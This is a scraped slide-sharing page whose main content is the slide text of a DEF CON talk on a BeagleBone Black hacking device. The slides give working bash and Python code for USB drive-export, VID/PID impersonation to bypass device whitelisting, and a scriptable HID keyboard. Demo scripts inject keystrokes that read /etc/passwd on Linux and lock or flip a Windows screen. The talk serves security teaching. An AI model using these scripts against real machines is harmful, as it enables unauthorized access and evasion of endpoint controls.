DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devices
 

Recently uploaded

The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxLoriGlavin3
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESmohitsingh558521
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfMounikaPolabathina
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 

Recently uploaded (20)

The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
 
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICESSALESFORCE EDUCATION CLOUD | FEXLE SERVICES
SALESFORCE EDUCATION CLOUD | FEXLE SERVICES
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdf
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 

One Device to Pwn Them All: A Pocket Sized Hacking Device

  • 1. One Device to Pwn Them All Phil Polstra Bloomsburg University of Pennsylvania @ppolstra http://philpolstra.com
  • 2. What is this talk about? ● A pocket sized device that can be ● Drop box (can be battery powered for days if needed) ● Remote hacking drone (controlled from up to 2 miles away) ● Airborne hacking drone (when combined with RC aircraft) ● Hacking console (can and has been built into a lunch box) ● Used for USB-based attacks – Write protect flash drive – USB impersonation – Scriptable HID
  • 3. Why should you care? ● BeagleBone Black running Deck Linux is ● Small ● Flexible (wired/wireless battery/USB/wall power) ● Can be networked to integrate into sophisticated pentests ● So, you might have one on you ● Exploit brief physical access to target ● As we'll see, can do a lot in a couple seconds
  • 4. Who am I? ● Professor at Bloomsburg University teaching digital forensics & information security ● Author: Linux Forensics & HPTWLPD ● Programming from age 8 ● Hacking hardware from age 12 ● Also known to fly, build planes, and do other aviation stuff ● Course author for PentesterAcademy.com and others
  • 5. Roadmap ● Quick overview of BBB running Deck Linux ● Exporting BBB-attached USB drive to PC (read-only) ● Write-enabling an exported drive (BHEU12) ● USB mass storage device impersonation (DC20) ● Scriptable USB HID keyboard
  • 6. ● Base OS ● Built on Ubuntu 14.04 ● Optimized for the BBB & pentesting ● Use as dropbox or hacking console ● Over 4000 packages pre-installed (fluff free) ● MeshDeck ● Adds remote control via 802.15.4/ZigBee networking ● Allows coordinated attacks with multiple remote drones ● AirDeck ● Combined with the MeshDeck to allow airborne drone or router ● 4Deck ● Forensic add-on that automatically write blocks USB mass storage devices (udev rules-based) ● Udeck (USB-based attacks)
  • 7. USB Gadget Basics ● USB composite “gadget” device used for ● Mass storage ● Audio ● Networking ● MIDI ● CDC ● Webcam ● HID (4.x kernels only!)
  • 8. USB Gadget on BBB ● Default config uses g_multi (USB composite gadget) ● Normally exports boot partition ● Normally configures USB Ethernet with static IPs – BBB 192.168.7.2 – Host PC 192.168.7.1 ● Some distributions start GETTY as well ● Default conflicts with what we want ● Never export a mounted filesystem unless read-only on both ends
  • 9. Exporting USB Mass Storage Device #!/bin/bash # stop the GETTY service if needed if which 'systemctl' ; then systemctl stop serial-getty@ttyGS0.service >/dev/null fi # unload current composite gadget modprobe -r g_multi # these variables are used to export all partitions fstr="" rostr="" # unmount the USB drive for d in $(ls /dev/sd*) ; do if echo "$d" | egrep '[1-9]$' >/dev/null ; then umount $d fstr+=",$d" rostr+=",1" fi done
  • 10. Exporting USB MS (continued) fstr=${fstr:1} # strip leading comma rostr=${rostr:1} echo "$fstr" >/tmp/usbexports # store for later in case we re-export as r/w # now export it vend=$(( 0x1337 )) # pick your favorite vid/pid prod=$(( 0x1337 )) echo "$vend" >/tmp/usbvend # save vid/pid for possible r/w export echo "$prod" >/tmp/usbprod modprobe g_multi file=$fstr cdrom=0 stall=0 ro=$rostr removable=1 nofua=1 idVendor=$vend idProduct=$prod
  • 11. USB Mass Storage Read-only Export Demo
  • 12.
  • 13. Making the exported drive writable ● For after you kill any anti-virus! (DFIU) #!/bin/bash # these variables are used to export all partitions if [ -e /tmp/usbexports ] ; then fstr=$(cat /tmp/usbexports) modprobe -r g_multi modprobe g_multi file=$fstr cdrom=0 stall=0 removable=1 nofua=1 idVendor=$(cat /tmp/usbvend) idProduct=$(cat /tmp/usbprod) fi
  • 14. Demo: Making the Exported Drive Writable
  • 15.
  • 16. USB Mass Storage Impersonation ● Some people think they can block users from mounting unauthorized flash drives ● Typically use endpoint security software and/or rules to filter by VID/PID ● Microcontroller device presented at DC20 ● Can do same thing with BBB and shell scripting ● Better performance (USB 2.0 High Speed vs. Full Speed)
  • 17. Impersonator: Part 1 - Setup #!/bin/bash usage () { echo "Usage: $0 [-v Vendor] [-p Product] [-d Delay]" echo "USB impersonator shell script. Will interate" echo "over list if no vendor and product id given." echo "Standard delay is four seconds before switching." exit 1 } declare -i vend=0x1337 declare -i prod=0x1337 declare -i delay=4 parseargs () { useFile=true delay=$(( 2 )) while [[ $# > 1 ]] do key="$1" case $key in -v) vend="0x$2" useFile=false shift ;; snip esac shift done }
  • 18. Impersonator: Part 2 – Unmount Drive if which 'systemctl' ; then systemctl stop serial-getty@ttyGS0.service >/dev/null fi # unload current composite gadget modprobe -r g_multi # these variables are used to export all partitions fstr="" rostr="" # unmount the USB drive for d in $(ls /dev/sd*) ; do if echo "$d" | egrep '[1-9]$' >/dev/null ; then umount $d fstr+=",$d" rostr+=",1" fi done fstr=${fstr:1} rostr=${rostr:1} echo "$fstr" >/tmp/usbexports # store the process ID so it can be killed echo "$BASHPID" > /tmp/impersonator-pid
  • 19. Impersonator: Part 3 – Export Drive # now export it if $useFile ; then declare -a arr while read line do arr=(${line//,/ }) v=${arr[0]} ; vend="0x$v" p=${arr[1]} ; prod="0x$p" modprobe -r g_multi modprobe g_multi file=$fstr cdrom=0 stall=0 ro=$rostr removable=1 nofua=1 idVendor=$vend idProduct=$prod sleep $delay done < 'vidpid-list' else modprobe g_multi file=$fstr cdrom=0 stall=0 ro=$rostr removable=1 nofua=1 idVendor=$vend idProduct=$prod fi
  • 21.
  • 22. Creating a HID: Part 1 – Unload g_multi ● Default devices (Ethernet, etc.) are loaded via g_multi ● Must be unloaded for our HID to work #!/bin/bash # This script will create a HID device on the BBB # if the g_multi device is loaded remove it if lsmod | grep g_multi >/dev/null ; then modprobe -r g_multi fi
  • 23. Create a HID: Part 2 - Configfs ● Configfs is used to configure HID at install time ● A /sys/kernel/config directory should already exist # check for the existance of configfs if mount | grep '/sys/kernel/config' >/dev/null ; then umount /sys/kernel/config fi mount none -t configfs /sys/kernel/config
  • 24. Create a HID: Part 3 - Create Device # create a keyboard device kbdir="/sys/kernel/config/usb_gadget/kb" if [ ! -d "$kbdir" ] ; then mkdir $kbdir fi echo 0x1337 >"$kbdir/idVendor" echo 0x1337 >"$kbdir/idProduct" echo 0x0100 >"$kbdir/bcdDevice" echo 0x0110 >"$kbdir/bcdUSB"
  • 25. Create a HID: Part 4 – Add a Config if [ ! -d "$kbdir/configs/c.1" ] ; then mkdir "$kbdir/configs/c.1" fi echo 500 >"$kbdir/configs/c.1/MaxPower" if [ ! -d "$kbdir/functions/hid.usb0" ] ; then mkdir "$kbdir/functions/hid.usb0" fi echo 1 >"$kbdir/functions/hid.usb0/subclass" echo 1 >"$kbdir/functions/hid.usb0/protocol" echo 8 >"$kbdir/functions/hid.usb0/report_length"
  • 26. Create a HID: Part 5 - Finalize ● Need a report descriptor for keyboard ● Create symlink for configuration ● Activate! cp report_descriptor_kb.bin "$kbdir/functions/hid.usb0/report_desc" ln -s "$kbdir/functions/hid.usb0" "$kbdir/configs/c.1" echo musb-hdrc.0.auto >"$kbdir/UDC"
  • 27. HID Report Descriptor Detail 0501 // usage page 0906 // usage (keyboard) a101 // collection (application) 0507 // usage page (keyboard) 19e0 // usage min (left control) 29e7 // usage max (right GUI) 1500 // logical min (0) 2501 // logical max (1) 7501 // report size (1) 9508 // report count (8) 8102 // input (data, var, abs) 9501 // report count (1) 7508 // report size (8) 8101 // input (data, var, abs) 9505 // report count (5) 7501 // report size (1) 0508 // usage page (LEDs) 1901 // usage min (num lock) 2905 // usage max 9102 // output (data, var, abs) 9501 // report count (1) 7503 // report size (3) 9101 // output (data, var, abs) 9506 // report count (6) 7508 // report size (8) 1500 // logical min (0) 26ff00 // logical max (255) 0507 // usage page (key codes) 1900 // usage min (0) 2aff00 // usage max (255) 8100 // input (data, var, abs) c0 // end collection
  • 29.
  • 30. Using the new HID Byte Name Description 0 Modifier “Shift” keys 1 Reserved 0x00 2 Key 1 Keycode “a” = 0x04, etc. 3 Key 2 “ 4 Key 3 “ 5 Key 4 “ 6 Key 5 “ 7 Key 6 “ ● Send HID report to /dev/hidg0 ● Must send key press & release ● Use Python
  • 31. Python Prelims import struct, time # define the key modifiers KeyModifier = { 'LeftCtrl' : 1 << 0, 'LeftShift' : 1 << 1, 'LeftAlt' : 1 << 2, 'LeftGui' : 1 << 3, 'RightCtrl' : 1 << 4, 'RightShift' : 1 << 5, 'RightAlt' : 1 << 6, 'RightGui' : 1 << 7 } # define ASCII to keycode mapping # maps ASCII to (modifier, keycode) tuple AsciiToKey = { 'a' : (0, 4), 'b' : (0, 5), 'c' : (0, 6), 'd' : (0, 7), 'e' : (0, 8), 'f' : (0, 9), 'g' : (0, 10), 'h' : (0, 11), 'i' : (0, 12), 'j' : (0, 13), 'k' : (0, 14), 'l' : (0, 15), 'm' : (0, 16), 'n' : (0, 17), 'o' : (0, 18), 'p' : (0, 19), 'q' : (0, 20), 'r' : (0, 21), 's' : (0, 22), 't' : (0, 23), 'u' : (0, 24), 'v' : (0, 25), 'w' : (0, 26), 'x' : (0, 27), 'y' : (0, 28), 'z' : (0, 29), '1' : (0, 30), '2' : (0, 31), '3' : (0, 32), '4' : (0, 33), '5' : (0, 34), '6' : (0, 35), '7' : (0, 36), '8' : (0, 37), '9' : (0, 38), '0' : (0, 39), snip
  • 32. Python: UdeckHid Class class UdeckHid(): def __init__(self, hidDev="/dev/hidg0"): self.hidDev = hidDev def sendKey(self, keycode, modifier): report = struct.pack("BBBBL", modifier, 0x00, keycode, 0x00, 0x00000000) with open(self.hidDev, "wb") as hd: hd.write(report) # Send key press report = struct.pack("Q", 0) # key release hd.write(report) def sendShiftKey(self, asciiChar): self.sendKey(AsciiToKey[asciiChar][1], 2) snip def sendChar(self, asciiChar): (modifier, keycode) = AsciiToKey[asciiChar] if keycode !=0: self.sendKey(keycode, modifier) def sendString(self, asciiString): for i in range(0, len(asciiString)): self.sendChar(asciiString[i]) def sendLine(self, asciiString): self.sendString(asciiString) self.sendEnter()
  • 33. Simple Linux Attack udh = UdeckHid() udh.sendLine("env") udh.sendEnter() udh.sendLine("nano hacked.txt") for i in range(0,10): udh.sendString("You are so hacked!n") udh.sendKey(AsciiToKey['x'][1], 1) udh.sendKey(AsciiToKey['y'][1], 0) udh.sendEnter() udh.sendEnter() udh.sendLine("cat /etc/passwd > gotyourpasswords.txt") udh.sendLine("clear")
  • 35.
  • 36. Let's Attack Windows ● What else is Windows good for anyway? udh = udeckHid.UdeckHid() udh.sendWindowKey('r') udh.sendLine('notepad') for i in range(0, 50): udh.sendString('You are so hackedn') udh.sendAltKey('f') udh.sendChar('x') udh.sendEnter() udh.sendLine('hacked.txt') udh.sendWindowsUpsideDownScreen() udh.sendWindowsLockScreen()
  • 38.
  • 39. Questions? ● Demo Labs Saturday 12:00 – 14:00 ● PentesterAcademy booth (??, ask if I'm not there) ● Sign up for a chance to win one of two gift sets which include: – Hacking and Penetration Testing with Low Power Devices – Linux Forensics – CatchWire appliance